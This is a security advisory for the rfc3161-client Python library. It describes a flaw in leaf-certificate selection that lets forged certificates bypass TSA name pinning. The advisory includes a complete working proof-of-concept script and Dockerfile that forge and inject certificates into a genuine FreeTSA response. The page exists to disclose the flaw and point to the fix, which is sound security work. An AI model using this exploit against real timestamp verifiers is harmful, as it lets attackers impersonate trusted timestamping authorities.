PT-2026-59671 · Pypi · Rfc3161-Client

Publicado 2026-07-13 · Atualizado 2026-07-13

OSV

CVSS v3.1

6.2

Média

Vetor base

AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary

An Authorization Bypass vulnerability in rfc3161-client's signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target common name and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely.

Details

The root cause lies in rfc3161 client.verify.Verifier. verify leaf certs(). The library attempts to locate the leaf certificate within the parsed TimeStampResponse PKCS#7 SignedData bag using a naive algorithm:

leaf certificate found = None
for cert in certs:
  if not [c for c in certs if c.issuer == cert.subject]:
    leaf certificate found = cert
    break

This loop erroneously assumes that the valid leaf certificate is simply the first certificate in the bag that does not issue any other certificate. It does not rely on checking the ESSCertID or ESSCertIDv2 cryptographic bindings specified in RFC 3161 (which binds the signature securely to the exact signer certificate).

An attacker can exploit this by:

1. Acquiring a legitimate, authentic TimeStampResponse from any widely trusted public TSA (e.g., FreeTSA) that chains up to a Root CA trusted by the client.
2. Generating a self-signed spoofed "proxy" certificate A with the exact Subject (e.g., CN=Intended Corporate TSA) and ExtendedKeyUsage (id-kp-timeStamping) required by the client's VerifierBuilder.
3. Generating a dummy certificate D issued by the actual FreeTSA leaf certificate.
4. Appending both A and D to the certificates list in the PKCS#7 SignedData of the TimeStampResponse.

When verify leaf certs() executes, the dummy certificate D disqualifies the authentic FreeTSA leaf from being selected (because FreeTSA now technically "issues" D within the bag). The loop then evaluates the spoofed certificate A, realizes it issues nothing else in the bag, and selects it as leaf certificate found.

The library then processes the common name and EKU checks exactly against A. Since A was explicitly forged to pass these checks, verification succeeds. Finally, the OpenSSL pkcs7 verify backend validates the actual cryptographic signature using the authentic FreeTSA certificate and trusted roots (ignoring the injected certs). The application wrongly trusts that the timestamp was granted by the pinned TSA.

PoC

The environment simulation and the PoC script have been included in the poc.py and Dockerfile artifacts:

Dockerfile (poc/Dockerfile):

FROM python:3.11-slim
RUN apt-get update && apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY . /app/rfc3161-client
RUN pip install cryptography requests asn1crypto
WORKDIR /app/rfc3161-client
RUN pip install .
COPY poc/poc.py /app/poc.py
WORKDIR /app
CMD ["python", "poc.py"]

The attack flow locally demonstrated in poc/poc.py:

import base64
import requests
from rfc3161 client import TimestampRequestBuilder, decode timestamp response, HashAlgorithm
from rfc3161 client.verify import VerifierBuilder
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
import datetime
from asn1crypto import cms, tsp

def main():
  print("[*] Generating TimeStampRequest...")
  req builder = TimestampRequestBuilder(
    data=b"hello world",
    hash algorithm=HashAlgorithm.SHA256,
    cert req=True
  )
  req = req builder.build()
  
  print("[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...")
  resp = requests.post(
    "https://freetsa.org/tsr",
    data=req.as bytes(),
    headers={"Content-Type": "application/timestamp-query"}
  )
  if resp.status code != 200:
    print("[-] Failed to get TSA response. Is the network up?")
    return
    
  tsa resp bytes = resp.content
  
  print("[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...")
  private key = rsa.generate private key(public exponent=65537, key size=2048)
  subject = issuer = x509.Name([
    x509.NameAttribute(NameOID.COMMON NAME, "Spoofed TSA"),
  ])
  
  # We create a self-signed spoofed certificate that meets all Python verification criteria
  cert = x509.CertificateBuilder().subject name(
    subject
  ).issuer name(
    issuer
  ).public key(
    private key.public key()
  ).serial number(
    x509.random serial number()
  ).not valid before(
    datetime.datetime.utcnow() - datetime.timedelta(days=1)
  ).not valid after(
    datetime.datetime.utcnow() + datetime.timedelta(days=1)
  ).add extension(
    x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME STAMPING]),
    critical=True,
  ).sign(private key, hashes.SHA256())
  
  fake cert der = cert.public bytes(serialization.Encoding.DER)
  
  print("[*] Parsing the authentic PKCS#7 SignedData bag of certificates...")
  tinfo = tsp.TimeStampResp.load(tsa resp bytes)
  status = tinfo['status']['status'].native
  if status != 'granted':
    print(f"[-] Status not granted: {status}")
    return
    
  content info = tinfo['time stamp token']
  assert content info['content type'].native == 'signed data'
  signed data = content info['content']
  
  certs = signed data['certificates']
  
  from asn1crypto.x509 import Certificate
  fake cert asn1 = Certificate.load(fake cert der)
  
  real leaf asn1 = None
  for c in certs:
    c subject = c.chosen['tbs certificate']['subject']
    issues something = False
    for oc in certs:
      if c == oc: continue
      oc issuer = oc.chosen['tbs certificate']['issuer']
      if c subject == oc issuer:
        issues something = True
        break
    if not issues something:
      real leaf asn1 = c
      break
      
  if real leaf asn1:
    print("[*] Found the genuine TS leaf certificate. Creating a 'dummy node' to disqualify it from the library's naive leaf discovery...")
    real leaf crypto = x509.load der x509 certificate(real leaf asn1.dump())
    dummy priv = rsa.generate private key(public exponent=65537, key size=2048)
    dummy cert = x509.CertificateBuilder().subject name(
      x509.Name([x509.NameAttribute(NameOID.COMMON NAME, "Dummy Entity")])
    ).issuer name(
      real leaf crypto.subject
    ).public key(
      dummy priv.public key()
    ).serial number(
      x509.random serial number()
    ).not valid before(
      datetime.datetime.utcnow() - datetime.timedelta(days=1)
    ).not valid after(
      datetime.datetime.utcnow() + datetime.timedelta(days=1)
    ).sign(dummy priv, hashes.SHA256()) 
    
    dummy cert asn1 = Certificate.load(dummy cert.public bytes(serialization.Encoding.DER))
    certs.append(dummy cert asn1)

  print("[*] Injecting the malicious spoofed proxy certificate into the response bag...")
  certs.append(fake cert asn1)
  
  malicious resp bytes = tinfo.dump()
  
  print("[*] Downloading FreeTSA Root Certificate Trust Anchor...")
  root resp = requests.get("https://freetsa.org/files/cacert.pem")
  root cert = x509.load pem x509 certificate(root resp.content)
  # We must also download TSA.crt which acts as an intermediate for FreeTSA
  tsa resp cert = requests.get("https://freetsa.org/files/tsa.crt")
  tsa cert obj = x509.load pem x509 certificate(tsa resp cert.content)
  
  print("[*] Initializing Verifier strictly pinning Common Name to 'Spoofed TSA'...")
  tsa resp obj = decode timestamp response(malicious resp bytes)
  
  verifier = VerifierBuilder(
    common name="Spoofed TSA",
    roots=[root cert],
    intermediates=[tsa cert obj],
  ).build()

  print("[*] Attempting Verification...")
  try:
    verifier.verify message(tsa resp obj, b"hello world")
    print("
033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged 'Spoofed TSA' name due to Trust Boundary Confusion.033[0m
")
  except Exception as e:
    print("
033[91m[-] Verification failed:033[0m", e)

if  name  == ' main ':
  main()

1. Requests a timestamp from https://freetsa.org/tsr.
2. Generates a fake cert with common name="Spoofed TSA" and ExtendedKeyUsage=TIME STAMPING.
3. Parses the authentic TS response, injects a dummy cert issued by FreeTSA's leaf.
4. Injects the fake cert into the bag.
5. Invokes decode timestamp response() on the malicious bytes.
6. Runs VerifierBuilder(common name="Spoofed TSA", ...).verify message(malicious resp, msg).
7. Observes a successful verification bypassing the common name constraint.

Impact

Vulnerability Type: Authorization Bypass / Improper Certificate Validation / Trust Boundary Confusion Impact: High. Applications relying on rfc3161-client to guarantee the origin of a timestamp via tsa certificate or common name pinning are completely exposed to impersonation. An attacker can forge the identity of the TSA as long as they hold any valid timestamp from a CA trusted by the Verifier.

Correção

Identificadores relacionados

PYSEC-2026-3051

Produtos afetados

Rfc3161-Client

Referências · 8

• https://github.com/trailofbits/rfc3161-client · Nota
• https://github.com/trailofbits/rfc3161-client/releases/tag/v1.0.6 · Nota
• https://github.com/trailofbits/rfc3161-client/security/advisories/GHSA-3xxc-pwj6-jgrj · Nota
• https://github.com/trailofbits/rfc3161-client/commit/4f7d372297b4fba7b0119e9f954e4495ec0592c0 · Nota
• https://osv.dev/vulnerability/PYSEC-2026-3051 · Aviso do Fabricante
• https://pypi.org/project/rfc3161-client · Nota
• https://nvd.nist.gov/vuln/detail/CVE-2026-33753 · Nota de Segurança
• https://github.com/advisories/GHSA-3xxc-pwj6-jgrj · Nota